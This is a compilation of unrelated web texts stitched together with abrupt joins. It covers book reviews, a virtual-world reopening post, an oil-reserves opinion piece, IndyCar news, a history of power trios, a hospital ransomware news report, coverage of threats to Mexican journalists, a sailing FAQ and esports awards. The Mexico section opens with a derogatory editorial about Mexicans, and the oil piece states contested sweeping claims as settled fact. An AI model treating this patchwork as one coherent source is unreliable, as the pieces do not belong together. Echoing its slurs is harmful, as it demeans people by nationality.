NACTO has managed to hit a sweet spot, presenting street design in a form that an engaged layperson could understand but with enough meat that a transportation engineer wouldn't feel insulted. This is a book that you might very well use as a reference on a regular basis.
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Urgent Architecture: 40 Sustainable Housing Solutions for a Changing World
Bridgette Meinhold
W. W. Norton & Company, 256 pages
The world is facing a housing emergency, according to Bridgette Meinhold's new book Urgent Architecture. It's an emergency of various causes -- from natural disasters and wars to entrenched issues like poverty and limited resources. It's also an emergency of huge proportions: more than a billion people worldwide live in inadequate housing in slums, and upwards of 100 million people have no home at all. But it's a problem we can solve.
Meinhold's book highlights 40 examples of innovative and simplistically reactionary housing solutions that can provide sustainable permanent or temporary shelter to the hundreds of millions of people who regularly go without. More than just a look-book of clever architecture school thesis projects, Urgent Architecture features detailed examples of buildable houses -- many implemented or in production -- that can meet the global demand for shelter. The case studies cover the spectrum of need, from quick shelter in post-disaster situations to transitional housing to fast and affordable prefab solutions. Meinhold, an editor at Inhabitat, digs into the designs, but also looks at the costs of construction, the context of the projects and the materials used to pull these projects off. As could be expected, there are a few repurposed shipping containers in here, but there's also some less common materials such as inflatable plastics, wooden pallets and bales of hay. The book offers an array of housing options that can meet widely ranging demands while emphasizing environmentally sustainable building practices.
But as Meinhold argues, the housing problem is much more than simply a problem of not enough houses. Just as the architecture in the book responds to the various conditions causing housing instability, building codes and planning processes must also adapt to changing economic, environmental and political landscapes. "The world is desperately in need of a major retrofit in how we design, plan, and build homes," writes Meinhold. The 40 examples provided in her book shine a light towards filling that need and solving this great emergency.
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The World Atlas of Street Art and Graffiti
Rafael Schacter
Yale University Press, 400 pages
The World Atlas of Street Art and Graffiti is a visual journey to every corner of the globe. Author Rafael Schacter investigates 100 monumental urban artists from 25 countries in this comprehensive guide to street art, artists, schools, and styles. Organized geographically by country and city, the Atlas chronicles the historical development of urban art in each region. Through 750 stunning images and accompanying artist profiles, the Atlas offers deep insights into the evolution of street art and its relationship with community and environment.
As John Fekner explains in his foreword, the art presented in this volume is distinct from the graffiti of the mid-1980s and the “mass produced, post-street art shown in some galleries today.” Through works that create “a sense of place” reflecting each artist’s unique experiences and artistic vision, the pieces examined in this book are “redefining the concept of public art in the twenty-first century.” Expert contributors aim to show that street art does not simply rely on slogans, politics, or self-promotion, but is “committed to a spontaneous creativity that is inherently connected to the city.”
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Other Noteworthy Titles
Charter of the New Urbanism, 2nd Edition
Edited by Emily Talen
McGraw-Hill, 320 pages
We’re usually reluctant to include reissues in our Top Books list, but this volume deserves special recognition. The original Charter of the New Urbanism was ratified in 1993 by a group of architects and urban thinkers who proposed that the "disinvestment in central cities, the spread of placeless sprawl, increasing separation by race and income, environmental deterioration, loss of agricultural lands and wilderness, and the erosion of society’s built heritage" were problems that had the same answer: better community building. This big idea attracted an unusual, cross-disciplinary group of smart people that regularly assemble and debate the finer points of form-based codes, tactical interventions, suburban retrofits and highway teardowns.
The second edition provides commentary on each precept of the Charter from 62 different New Urbanists, including Andrés Duany, Elizabeth Plater-Zyberk, John Norquist, James Howard Kunstler, Tom Low, Dan Slone, and many more. The last version of the book was published in 1999, and "Then, as now," writes Shelley Poticha in the introduction, "CNU members look for depth. They discuss root causes and debate alternative solutions." This book is a testament to the rigorous engagement of this group of thinkers, and provides a great deal of fodder for discussion among planners, developers and anyone engaged with the built environment.
Buy this bookAfter cleaning the data, reviewing the cleansed data, and talking about it some more, we finally said “Ok, do we want to do this?”.
The answer was a unanimous “Yes”.
We will work to re-open There as a Paid Service (fees TBD, but at least $10/month) for folks 18 or older. You will be able to use your old Avatars, and will have all of the inventory and Therebucks you had when we closed.
I know that many of you will be disappointed by the 18 or older aspect of our decision. As I’ve said, at this juncture we can’t afford to provide the level of support and monitoring we think is right to protect folks under 18, so we’re not going to put minors, or ourselves, in that position. In the future this might change, but that decision is final for now. Again, I apologize.
I’ll say right now that we will all have to work together to help supplant Customer Support and Community, especially at the outset. My impression is that most folks here would be more than happy to help and we’ll welcome it.
We don’t know the opening date yet, but we do know we’ll start with ThereIM, then the public areas, then, finally, hoods, lots, FunZones, etc. And, of course, the Developer program will be re-activated along the way.
As I said, we’ve done some work to get ready for this, but clearly there’s lots more to do. As we zero in on an opening date, we’ll let people know.
As promised, I’ll share the data about what it costs to run There, and, after we open, how much we pull in, every month. We might go totally hog wild and publish the # of members and # of people logged in even.
Finally, I’d like to thank everyone for their participation, and patience with this survey.
We’re all very excited (well, cautiously very excited) about this, and determined to make it work. We’re all looking forward to the first month we can declare There “Broke Even”, or, even, gasp, “Made a profit”. Thanks to your enthusiastic response, we’re sure it’s possible, and willing to do our best to make it happen.
We’ll keep you filled in as we know more. I promise there will be a follow-up post by the end of the week.
AdvertisementsPublished on Jun 19th, 2016 | Posted by Anthony Martinez
Billy Smiley, best known as a guitarist in WhiteHeart, music producer and currently member of the band "The union of Sinners and Saints" with John Schlitt, recently spoke right through the page of his current band, about culture in Christian music from today.
Worth that current musicians and singers in Christian music, consider what Billy says below:
<< I have been feeling somewhat uneasy with music, culture, politics, and I have a sense of unrest with almost everything that the world seems to offer. I wonder if anyone else out there feels the same way.
Two statements that I have read recently gave even more clarity to my own thoughts while John Schlitt (Petra) and I talked, wrestled, and worked on lyrics and music that we were writing for our new album “The Union of Sinners and Saints”. Our perspective from an additional 20 years of living, learning, |
it was unclear whether or not the deepwater plays would prove to be economic.
Based on the government’s track record, the estimated 116 billion barrels of undiscovered oil under Federal lands is more likely to be 680 billion barrels. That’s close to 100 years worth of current US consumption – And that’s just the undiscovered oil under Federal mineral leases.
When you factor in unconventional oil plays, the numbers become staggering. “Peak Oil,” if it exists, won’t be reached for hundreds of years if the government would just get the Hell out of the way.
It’s just a matter of economics and technology. There will be periods of economic expansion in which demand out-paces supply and there will be periods of supply out-pacing demand… Like the past couple of years.
Technology improves economics. Smaller and smaller oil accumulations can be found and economically recovered even in an environment of stable inflation-adjusted prices because technology is continuously improving… And large discoveries continue to be made in plays that weren’t envisioned just a few years ago. Eventually, we will reach a point where the diminishing returns of technology can’t keep up with oil-related energy demand. But a properly functioning free market will already be delivering economical alternatives as oil begins to price itself out of the market.
Going back to the Gulf of Mexico, two of the eleven largest oil fields in the Gulf’s history (since 1947) were discovered in the late 1980’s and brought on production in the mid-1990’s. There have been several potentially huge discoveries made in the last 5-10 years in the ultra-deepwater Lower Tertiary play. These are currently being brought on to production.
The largest field in the Gulf, Shell’s Mars Field, was discovered in 1989. Prior to the Mars discovery, no one seriously believed that Miocene-aged and older reservoirs existed that far away from the established Miocene plays on the shelf. Since, the Mars discovery, many very large Miocene discoveries have been made in deepwater. The recent discoveries of even older, Lower Tertiary reservoirs in even deeper water was a huge surprise. These reservoirs were thought to have “petered out” even closer to shore than the Miocene reservoirs.
If we’re still finding “giant” fields in the Gulf of Mexico now, in plays that we couldn’t even imagine 30 years ago… What will we find in the 85% of the US Outer Continental Shelf that has never been explored? The handful of discoveries offshore California were made long before modern technology was available. The very few exploratory wells that were allowed in the 1970’s in the Atlantic’s Baltimore Canyon were drilled long before 3d seismic reflection data were available.
Technology also enables us to steadily improve the efficiency of oil recovery from reservoirs. The Bakken formation is thought to have over 40 billion barrels of oil in place. The trick is in recovery techniques. The USGS assumes that 10% is the maximum recovery factor. Twenty years ago, few people thought that Bakken recovery factors could exceed 1%.
Hubbert’s Peak Oil Theory is mathematically sound; however it is dependent upon the total recoverable resource potential. Hubbert’s “Peak Oil” prediction was based on the assumption that the total recoverable reserves in the US and our OCS (offshore) were only 150-200 billion barrels. The current DOE estimate is 400 billion barrels – And that estimate was before 2006 and the shale boom and it didn’t include unconventional resource potential (which dwarfs the conventional potential). Shale oil like the Bakken and Eagle Ford is not unconventional oil. It is plain old crude oil. The recovery is unconventional because it’s different than the prior norm; hence they are described as unconventional resources. Oil shale (Green River Formation) and tar sands (Athabasca oil sands) are unconventional oils because they are respectively bituminous kerogen and bitumen – essentially incompletely formed and degraded crude oil.
The Malthusian record of failed predictions is perfect. Every single Malthusian prediction in recorded history has turned out to be wrong…
Great moments in failed predictions Posted on January 19, 2013 by Anthony Watts While searching for something else, I came across this entertaining collection of grand predictive failures related to resources and climate change, along with some of the biggest predictive failures of Paul Ehrlich. I thought it worth sharing. Exhaustion of Resources “Indeed it is certain, it is clear to see, that the earth itself is currently more cultivated and developed than in earlier times. Now all places are accessible, all are documented, all are full of business. The most charming farms obliterate empty places, ploughed fields vanquish forests, herds drive out wild beasts, sandy places are planted with crops, stones are fixed, swamps drained, and there are such great cities where formerly hardly a hut… everywhere there is a dwelling, everywhere a multitude, everywhere a government, everywhere there is life. The greatest evidence of the large number of people: we are burdensome to the world, the resources are scarcely adequate to us; and our needs straiten us and complaints are everywhere while already nature does not sustain us.” ■In 1865, Stanley Jevons (one of the most recognized 19th century economists) predicted that England would run out of coal by 1900, and that England’s factories would grind to a standstill. ■In 1885, the US Geological Survey announced that there was “little or no chance” of oil being discovered in California. ■In 1891, it said the same thing about Kansas and Texas. (See Osterfeld, David. Prosperity Versus Planning : How Government Stifles Economic Growth. New York : Oxford University Press, 1992.) ■In 1939 the US Department of the Interior said that American oil supplies would last only another 13 years. ■1944 federal government review predicted that by now the US would have exhausted its reserves of 21 of 41 commodities it examined. Among them were tin, nickel, zinc, lead and manganese. ■In 1949 the Secretary of the Interior announced that the end of US oil was in sight. […] UPDATE: reader Dennis Wingo writes in with this table: Great article. I went into this myself in my book “Moonrush“, I took all of the predictions for the depletion of resources from the book and marked in red the deadlines that had already passed. All of the predictions failed.
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RedditSome states shine in health care. Some soar in education. Some excel in both – or in much more. The Best States ranking of U.S. states draws on thousands of data points to measure how well states are performing for their citizens. In addition to health care and education, the metrics take into account a state’s economy, the opportunity and quality of life it offers people, its roads, bridges, internet and other infrastructure, its public safety and the fiscal stability of state government.
More weight was accorded to some state measures than others, based on a survey of what matters most to people. Health care and education were weighted most heavily. Then came state economies, the opportunity states offer their citizens and infrastructure. Crime & corrections followed closely in weighting, followed by measures of government fiscal stability and people's quality of life. This explains why Iowa, ranking No. 1 in infrastructure and No. 3 in health care, occupies the overall No. 1 spot in the Best States rankings. And it explains why Minnesota, ranking No. 2 in quality of life and No. 3 in opportunity for its citizens, ranks No. 2 overall in the Best States rankings.Buy Photo Mikhail Aleshin had an impressive first IndyCar season, leading the Indianapolis 500 after qualifying 15th. (Photo:, Greg Griffo/ The Star)Buy Photo
Continued U.S. sanctions against supporters of Russian president Vladimir Putin apparently will cost an impressive Verizon IndyCar Series driver a chance to race in this country another season.
Sam Schmidt, a co-owner of Indianapolis-based Schmidt Peterson Motorsports, told The Star this week that Mikhail Aleshin's financial contributions to the race team are not only behind, they're frozen.
"There's a clear road block in terms of the transfer of money," Schmidt said. "We can't seem to get any."
The U.S. government placed sanctions on SMP Bank, along with other Russian institutions connected to Putin, beginning last spring amid tensions in Ukraine.
The situation is unfortunate for all motor sports parties – Aleshin, the team owned by Schmidt and Ric Peterson, and IndyCar – given the competitiveness of the No. 7 entry and how popular Aleshin became.
Despite being a first-time U.S. visitor and new to racing on oval tracks, Aleshin finished 16th in the point standings, beating IndyCar veterans such as Takuma Sato and Graham Rahal.
Aleshin, 27, finished second in a street race in Houston, led a lap in the Indianapolis 500 and registered as many top-10 finishes (seven) as Formula One veterans Sebastien Bourdais and Justin Wilson.
Not even a horrific crash at the season-ending event slowed Aleshin down. Schmidt said Aleshin has sufficiently recovered from injuries suffered Aug. 29 at Auto Club Speedway in Fontana, Calif.
"He's been a joy to work with on and off the track," Schmidt said. "But the writing on the wall is ugly there (in Russia)."
Aleshin, who is believed to be in Russia, could not be reached for comment.
Aleshin's absence will create a new two-driver lineup for the IndyCar team, which will test 2012 GP2 Series champion Davide Valsecchi, an Italian, at Sebring (Fla.) International Raceway on Dec. 16. He will test alongside recent signee James Hinchcliffe.
Schmidt Peterson Motorsports previously tested Indy Lights champion Gabby Chaves, Rodolfo Gonzalez and Rocky Moran Jr. on the road course at Homestead-Miami Speedway. Schmidt said the team's second driver must have ties to funding.
"We're not going to be able to fund it internally," he said. "The driver must have full or at least partial (funding)."
FOYT REMAINS HOSPITALIZED
A.J. Foyt remains in a Houston hospital, his IndyCar Series team said Thursday, due to a post-operative complication which has been resolved.
Foyt, who turns 80 on Jan. 16, had triple bypass surgery Nov. 12 at St. Luke's Medical Center in Houston. The catheterization two days prior showed blockages in several stents from past procedures, most recently in March 2010. He was expected to remain in the hospital until Nov. 17.
"He's getting better," Foyt's son, Larry, told The Star in a text message. "(He's) still in the hospital but improving every day."
Larry Foyt said his father is expected to make a full recovery.
ETC.
Think Indianapolis doesn't matter to NASCAR? This television market ranked third both for the season-ending Sprint Cup Series race at Homestead-Miami Speedway and the 10-race Chase behind only Greensboro, N.C. (No. 1 for the seventh time in eight years) and Greenville, S.C. Indianapolis' average Chase rating was 6.6.... Danica Patrick will be showcased in a Super Bowl commercial for a record 14th year. However, this 30-second spot will be different than the edgy spots of the past. This time she will appear with a puppy.... Mike Conway will get another chance at a World Endurance Championship race when he replaces a Japanese driver who had visa issues getting to Brazil. Conway won in Toyota's entry in Brazil, making him the only driver to win in IndyCar and the WEC this year.... Marcos Ambrose isn't wasting time with Team Penske's new V8 Supercar Series. Since NASCAR's season finale on Nov. 16, Ambrose has tested twice and will make his series return Dec. 5-7 in the Sydney 500.The rise of the power trio in the 1960s was made possible in part by developments in amplifier technology that greatly enhanced the volume of the electric guitar and bass. Particularly, the popularization of the electric bass guitar defined the bottom end and filled in the gaps. Since the amplified bass could also now be louder, the rest of the band could also play at higher volumes, without fear of being unable to hear the bass. This allowed a three-person band to have the same sonic impact as a large band but left far more room for improvisation and creativity, unencumbered by the need for detailed arrangements. As with the organ trio, a 1960s-era soul jazz group centered on the amplified Hammond organ, a three-piece group could fill a large bar or club with a big sound for a much lower price than a large rock and roll band. A power trio, at least in its blues rock incarnation, is also generally held to have developed out of Chicago-style blues bands such as Muddy Waters' trio.
In addition to technological improvements, another impetus for the rise of the power trio was the virtuosity of guitarists such as Eric Clapton, Jimi Hendrix, and Rory Gallagher, who could essentially cover both the rhythm guitar and lead guitar roles in a live performance. In 1964, Frank Zappa played guitar in a power trio the Muthers, with Paul Woods on bass and Les Papp on drums.[2] In 1966, the prototypical blues-rock power trio Cream[3] was formed, consisting of Eric Clapton on guitar/vocals, Jack Bruce on bass/vocals, and Ginger Baker on drums. Other influential 1960s-era blues rock/hard rock power trio bands were the Jimi Hendrix Experience,[4] Blue Cheer, Grand Funk Railroad,[5] the James Gang featuring Joe Walsh, and Taste.[6]
Well-known 1970s-era power trios include the Canadian progressive rock groups Rush and Triumph, the American band ZZ Top,[7] the British heavy metal band Motörhead, and Robin Trower. Emerson, Lake & Palmer (as well as its offshoot Emerson, Lake & Powell), while replacing the guitarist by a keyboardist, is usually considered as a power trio,[8][9] as Keith Emerson fulfilled the rhythm and lead playing on the keyboards that would usually fall on the guitarist, while bassist (and occasional guitarist) Greg Lake was the vocalist. In 1968, the power trio Manal was formed in Argentina, and were the first group that composed blues music in Spanish.[10][11]
After the 1970s, the phrase "power trio" was applied to the new wave group the Police,[12] grunge band Nirvana, post-punk band Hüsker Dü, mod revivalists the Jam, hard rock/progressive metal band King's X, progressive rock band Rush, post-grunge band Silverchair, alternative bands the Presidents of the United States of America, Goo Goo Dolls, Primus, Everclear, Muse, and Eve 6, pop punk bands such as Green Day, Blink-182, Alkaline Trio and MxPx, and Argentine rock bands like Soda Stereo, Divididos and From Power Project. Also, by the 1990s, rock trios began to form around different instrumentation, from the band Morphine, featuring a baritone saxophone instead of an electric guitar, to Ben Folds Five's replacing the guitar with various keyboards, principally the piano.Update: In a statement, the hospital confirmed that a ransom (less than what was previously reported by consultants) was paid in order to return the network to working order. A copy of the official statement is here.
"The reports of the hospital paying 9000 Bitcoins or $3.4 million are false. The amount of ransom requested was 40 Bitcoins, equivalent to approximately $17,000. The malware locks systems by encrypting files and demanding ransom to obtain the decryption key. The quickest and most efficient way to restore our systems and administrative functions was to pay the ransom and obtain the decryption key. In the best interest of restoring normal operations, we did this." - Allen Stefanek, President and CEO, Hollywood Presbyterian Medical Center
Original story:
The computers at Hollywood Presbyterian Medical Center have been down for more than a week as the Southern California hospital works to recover from a Ransomware attack.
According to officials HPMC, they're cooperating fully with the LAPD and FBI, as law enforcement attempts to discover the identity of the attackers.
However, in the meantime the network is offline and staff are struggling to deal with the loss of email and access to some patient data.
The hospital's President and CEO, Allen Stefanek, said the situation was declared an internal emergency, telling NBC LA that the hospital's emergency room systems have been sporadically impacted by the malware.
Some patients were transported to other hospitals due to the incident. In other parts of the hospital, computers essential for various functions, including CT scans, documentation, lab work, and pharmacy needs are offline.
The hospital's network has been down for at least a week, forcing staff to rely on fax machines and telephones to get work done.
Registrations and medical records are being logged on paper and staff have been told to leave their systems offline until told otherwise.
Stefanek said the attack was random, but didn't expand on any of the technical details. Sources who spoke to NBC LA and Fox 11 in LA described the attack with descriptions matching a typical Ransomware infection.
The type of Ransomware responsible for shutting down the hospital remains unknown, but one local computer consultant said the ransom being demanded was about 9,000 BTC, or just over $3.6 million dollars.
Related video: Ransomware marketplaces and the future of malwareTuesday’s Los Angeles Times helpfully spotlighted the terrible threat under which Mexican journalists operate. In fact, reporters who cover the organized crime beat too diligently are live serious danger of being killed by the powerful drug cartels.
America’s southern neighbor is one of the most perilous nations on earth for journalists, ranking in the top five worst, according to the Committee to Protect Journalists on the occasion of World Press Freedom Day. The other most dangerous spots named are Turkey, North Korea, Red China and Eritrea — quite a rogue’s gallery of a club that no self-respecting nation would want to join.
Below, a woman lights a candle next to a picture of Mexican journalist Miroslava Breach Velducea who was fatally shot in her car on March 23.
The free press is under direct attack in Mexico which means any remaining shred of representative government is not exactly safe either. Mexican officials doesn’t seem very concerned about the mayhem — they have been laying low (or colluding with the bad guys) for years.
America is unlucky in geography that our 1900-mile southern border abuts such a corrupt third world hellhole. That location has resulted in Mexicans long being the most numerous of the illegal alien tribes residing in the US, peaking at 6.9 million in 2007 according to Pew.
It’s long past time to get that wall built.
Since 2000, 124 journalists have been killed in Mexico. Only Syria and Afghanistan surpassed Mexico in the number of journalists killed in 2016.
Isai Lara Bermudez had just started lunch at a Tijuana barbecue joint when a stranger approached his table.
“Watch out,” she warned him. “He’s after you.”
Lara, an investigative reporter, had written a series of stories in February showing evidence that the police chief of a neighboring city had tortured detainees. Now it appeared he was paying the price.
For weeks, Lara didn’t leave the house without a private bodyguard. He worried about his young daughter’s safety, and whether the cars pulling up alongside him in traffic carried gunmen out to kill him.
This is what it’s like practicing journalism in Mexico.
Journalists bold enough to report on the misdeeds of drug cartels or the government often face threats and retaliation — and increasingly pay for their work with their lives. Mexico has become the third-deadliest country in the world for journalists, leading many publications across the nation to avoid controversial topics, or to shut down entirely.
But Lara keeps reporting, along with the rest of the small, tight-knit staff at Zeta, one of Mexico’s most respected newspapers. Zeta is also one of the country’s most frequently targeted publications: Over the last three decades, as the Tijuana weekly documented government corruption and Mexico’s exploding drug war, two of its editors were killed and a third gravely wounded because of the stories they produced.
The Knight Center for Journalism in the Americas once said Zeta’s reporters and editors practice “suicide journalism.” The newspaper’s motto, printed on the front page amid murder counts and corruption allegations, is “Free like the wind.”
Luckily for Lara, the threat communicated at the restaurant by an associate of the police chief never materialized. But that doesn’t mean he can relax now. In April, U.S. and Mexican law enforcement intercepted a threat from a drug boss who planned to bomb Zeta’s headquarters. Now, when Lara goes to work each morning, he nods hello to a team of state police officers guarding the front door with machine guns.
“Sometimes I ask myself if it’s worth it,” said Lara, 34. “But we have a commitment to our readers. And if you’re paralyzed by fear, you can’t do anything.”
Since 2000, 124 journalists have been killed in Mexico, according to the National Human Rights Commission, the government’s independent watchdog. Article 19, a nonprofit that advocates for media protections in Mexico, recorded 426 threats or attacks against the press last year, including beatings and torture.
Only Syria and Afghanistan surpassed Mexico in the number of journalists killed in 2016, according to Reporters Without Borders. Since the beginning of March, four reporters have been killed and three others wounded by gunshots in attacks across the country.
The recent victims include Miroslava Breach, a veteran investigative reporter who died after being sprayed with bullets while driving her child March 23 in Chihuahua. Her death prompted the publisher of El Norte, the Juarez newspaper where she worked, to close down. In a letter to readers, the publisher said he could no longer guarantee the safety of his staff.
“There are many places across the country where naming people convicted of drug trafficking or reporting on organized crime is off-limits, where shootouts are not reported, where human rights violations are not reported,” said Carlos Lauria, program director at the Committee to Protect Journalists.
In a country where journalists are being silenced, Zeta stands out for its bravery, said Alejandro Hope, a security expert in Mexico City.
“They have made it their mission to make narco violence and corruption visible,” Hope said. “They have gone through hell and back, and somehow have survived.”
Along with exposing corruption, Zeta has chronicled a recent dramatic increase in violence in Mexico, which this year is on track to log more homicides than any year previously recorded.
The bloodshed has been particularly bad in Tijuana and the state of Baja California, where, according to federal statistics, 181 people were killed in March, twice as many as in March of last year.
While many Mexicans have grown weary of coverage of the 10-year drug war, Lara said he believes change will only occur if journalists continue to shine a light on the problem.
“We can’t ignore it,” he said. “My city is hurting, my country is hurting. That’s why I’m here.”
On a recent windy afternoon, photographer Margarito Martinez heard a cackle over the police scanner he keeps attached to his hip.
A man had been killed in Camino Verde, a poor hillside neighborhood crisscrossed with dirt roads and dense with concrete-block shacks. Martinez, a freelancer who frequently contributes to Zeta, sped to the scene in his battered white minivan, his bulletproof vest rattling in the truck.
Martinez starting taking photos as soon as he spotted the body of a man facedown on the ground, blood seeping from a gaping gunshot wound in the back of his head.
Next to the body was a handwritten sign: “The new ones don’t pardon.” It was was signed “Tijuana New Generation Cartel.”
In recent months, Martinez and his colleagues at Zeta have been documenting the rise of Tijuana’s newest criminal group — an alliance formed between members of the Arellano Felix organization, which once held sway in Baja California, and the Jalisco New Generation Cartel, which is quickly becoming one of Mexico’s most powerful drug gangs.
Last fall, the newspaper published the names and photos of several alleged drug lords under the headline “The Jalisco Cartel’s Most Wanted,” contradicting police claims that the Jalisco cartel didn’t operate in Tijuana. That triggered yet another threat against the paper, this one from a Jalisco member known as “Goofy” who said he was going to shoot up Zeta’s headquarters. Once again, the state police were sent to stand guard outside the office.
To protect reporters, hard-hitting stories are often published under the byline “Zeta investigations,” rather than the writer’s name. The windows in the newspaper’s headquarters, in an elegant home in one of Tijuana’s nicest residential neighborhoods, are made of bulletproof glass.
When the newspaper receives a threat, it immediately publishes the details, the idea being that the more people who are aware a crime may be committed, the less likely it is to happen. Then they alert the Mechanism to Protect Human Rights Defenders and Journalists, a government program established in 2012 that provides emergency evacuations, police protection and in some cases even a panic button that summons authorities.
There are 174 journalists protected under the program, the majority of whom have been threatened by government authorities.
But funding for the program is due to run out in a few months, and Mexico’s federal legislators have not earmarked more money to continue it. Human rights advocates complain that public officials don’t want to strengthen protections for journalists because a free and transparent press often isn’t in their best interest.
“There is no political will to tackle this problem because what journalists investigate and report on is uncomfortable for many public functionaries,” said Luis Knapp, an attorney at Article 19. Fewer than 1% of crimes against journalists are ever solved, Knapp said. And a federal office formed to prosecute crimes against free speech has convicted suspects in just two cases over the last six years.
It is outrage over that impunity that fuels Adela Navarro, Zeta’s general director, who on a recent afternoon smoked a cigarette while waiting for her reporters to finish writing ahead of that night’s deadline.
Each week, Zeta publishes a full-page editorial featuring a photo of Hector “El Gato” Felix, a Zeta editor known for his biting criticism of members of Mexico’s elites, including Jorge Hank Rhon, the owner of a Tijuana racetrack.
In 1988, a man pulled up next to Felix while he was driving and opened fire, killing him. Two of Rhon’s bodyguards were convicted of the attack, but Rhon was never prosecuted.
The editorial addresses Rhon, as well as the current and former governors of Baja California: “Will your government capture the one who ordered this crime?” it asks.
In 1997, Zeta’s legendary founder, Jesus Blancornelas, was badly wounded and his bodyguard killed in a botched assassination attempt. Afterward, Blancornelas had a brick wall built in front of his home, and employed 14 bodyguards.
Eight years later, Francisco Ortiz Franco, who frequently wrote about drug trafficking for Zeta, was shot and killed while driving his children. In both cases, the culprits were never brought to justice.
“This means that one can silence, kill or extort a journalist and never see justice,” said Navarro, who won the Committee to Protect Journalists’ International Press Freedom Award in 2007, like Blancornelas before her.
Navarro is sometimes frustrated that Zeta’s stories don’t have a bigger impact. Corrupt public officials hold on to power. Drug cartels continue their bloody wars.
But she knows her work is doing something. When Zeta publishes the names and faces of cartel members, many flee Tijuana.
Navarro says she runs her newsroom with a mantra coined by Blancornelas, who died in 2006 of complications from stomach cancer.
“Be far from the government,” he used to say, “and close to the people.”UPDATE
We are adding a third Learn-To-Sail class.
We will be sending out an email with more information shortly.
We start sailing the first weekend in March.
WHAT IS DYSA? A no child left ashore, learn to sail, and around-the-buoys sailboat racing program.
WHO CAN PARTICPATE? Anyone between the ages of 7 and 18. Previous sailing experience is not required.
IS THERE A YOUTH PROGRAM? Yes, we have a Youth Program in the Spring and Fall. Click Sailors > Youth Program for more information.
IS THERE A HIGH SCHOOL PROGRAM? Yes, we have an inter-highschool sailing team from August through May. Click Sailors > High School Program for more information.
IS THERE A SUMMER PROGRAM? DYSA does not offer sailing in the summer. The City of Dunedin, the City of Safety Harbor and the Clearwater Community Sailing Center offer summer sailing camps.
WHERE IS DYSA HELD? At the City of Dunedin Municipal Marina, 51 Main Street, Dunedin, FL 34698.
HOW LONG IS THE DYSA PROGRAM? There are two 10-week sessions per year, one in the fall and one in the spring.
HOW DO WE SIGN UP? Click Registration to be added to our Youth Program or High School Program waiting list. New sailor registrations will be placed on the Spring 2019 Waiting List.
WHAT IF WE CAN’T AFFORD THE FEE? DYSA offers needs-based scholarships for the Sunday afternoon sailing program. To qualify for a scholarship, the student/family must meet the criteria for the school district’s free/reduced meal program.
WHAT IF I HAVE OTHER QUESTIONS? For more information email us at registrar@dunedinyouthsailing.org[SPL`15] SPL Awards: The Best of 2015 Text by TeamLiquid ESPORTS Graphics by shiroiusagi Another year, another amazing season of Proleague. The world's most important team league acted as a barometer for the Korean scene all year long, and it supplied us with some of the best games from the entire year. Suffice to say that we're all excited for the 2016 season, but it's time we looked back at 2015 and recognized the best of the best from last season.
Best Backup SKT T1 SKT T1
Of all the awards this season, this was the most difficult one to finalize. Eventually, we decided that it was, more or less, an 8-way tie for the best backup player in Proleague. The entire SKT T1 roster earns this award for their holistic approach to Proleague, a far cry from their "superstars only" method from 2014. SKT T1 was the only team in the postseason that did not have a single player with 20 wins (soO was at 19), but 5 of their players notched more than 10 wins each. Bench warmers Sorry, Billowy, and Impact even saw some time in the booth. Only Dark managed more than 1 ace appearance during the regular season, with INnoVation, soO, Classic and Dream each earning their shots.
With no clear super ace and a team that went 7- or 8-deep, SKT T1 was a nightmare to prepare for all year long. Everyone deserves a pat on the back for their title winning season, and oov should receive an applause for managing such a well-stocked team.
Best New Signing ByuL
INnoVation Runner-up:
Finding a diamond-in-the-rough is one of the best ways to grow a team, but signing a potential ace player makes an immediate impact that every team pines for during the off-season. When Incredible Miracle called it quits after the 2014 season, one player was expected to have all the other teams begging for his signature: ByuL.
As IM's only player in double figures that season, everyone knew that ByuL had the potential to deliver—and even develop further—on a more stable team. That lucky team ended up being CJ Entus, and he quickly filled the void that the departures of EffOrt and Hydra had left. With a record of 21-16, ByuL proved that he was worthy of being considered one of the best zergs in Korea. He was integral to a CJ team that looked alarmingly thin all season long, and his 2 ace match wins proved that he was worthy of selection ahead of herO.
While INnoVation more than proved his worth for SKT T1, his impact was dulled by his team's balanced approach. Without ByuL, CJ would have likely finished the season outside the playoffs.
Best Ace Maru
and Rogue Runners-up: Losira and
Everything remarkable about Maru has been said long ago. Arising from humble origins in the first ever GSL, and subsequently spending most of the succeeding years rotting in the obscurity of the Gerrard's roost, the current face of Jin Air exploded into the scene with a 4-2 upset over Rain. However, his form, consisting of sublime micromanagement and top-tier mechanics, then was still in its adolescent stage. Ironically, his style would fully take shape in the worst days of his race, when he was the standard bearer of Terran when Terran made up only 3-4 players in Code S.
This style would fully manifest itself as the Little Psychopath played for JA in Proleague. In the Proleague of 2014, he would be the best player, having a 30-19 record, and effectively serve as the mainstay of his team. Retaining that role in 2015, Maru would further demonstrate that a JA without him is no JA at all, obtaining another astounding record of 27-16, with his notable distinction as a monster in TvP, losing only 3 out 17 TvPs played.
But what makes Maru the ace for his team must be his consistency. With the exception of a strangely poor Round 4, Maru played extraordinarily well in the preceding matches. What is more is that his consistency stands amidst a wildly inconsistent team, with sOs and Rogue as the 2 next-best players, both of whom have showed a wild gamut of performances throughout the year. Without Maru to pick up the tab when these 2 fail, as they have shown to do, what who would JA rely on? The answer is no one. With Maru, with a top 3 terran and a master of micro on their side, JA cemented its status as a top team. That is why he is the best ace of 2015.
Best Sniper in TvT BrAvO in TvT
in PvP Runner-up: Hush in PvP
One of the most common knocks on players is the label of "one matchup wonder". There are certain players that just excel against one race more than the others, and it can be both inspiring and infuriating in equal measure. While most of these types of players struggle to make an impact in individual leagues, a lucky bracket can often lead to deep runs—which many view as undeserved. Such narrow mastery does have its merits, and it is in Proleague that these types of players truly shine.
For the 2015 season, no other player displayed such mastery of a matchup as BravO. The Samsung backup played only 16 games, but managed to win 7 of his 9 TvTs against the likes of Bbyong, Flash, Maru and sKyHigh. The latter three players count among the best in the terran mirror, yet BravO deftly navigated against superior players to earn this award.
BravO's talent for the mirror had already been known since 2014, but back then, many of his games featured one- or two-base timing attacks. While prepared builds are fun to watch in Proleague, many felt that perhaps the pudgy wonder would eventually be figured out. Not to be pigeonholed, BravO proved his skill in drawn out TvTs in 2015. He flattened both Dream and sKyHigh on Vaani in lengthy games, yet the best example was when he bested Maru in a mech against mech slugfest on Cactus Valley. The 32 minute game was a true test of endurance, and the Samsung terran showed that he was good enough to fight in the trenches with the best of them.
BravO may never crack the lineup on some better teams, but he should be instrumental for Samsung in 2016 as the young team aims to upset the hegemony of the top 4.
Best One-Time
Build
The Master Builder
Rogue
Runner-up: None
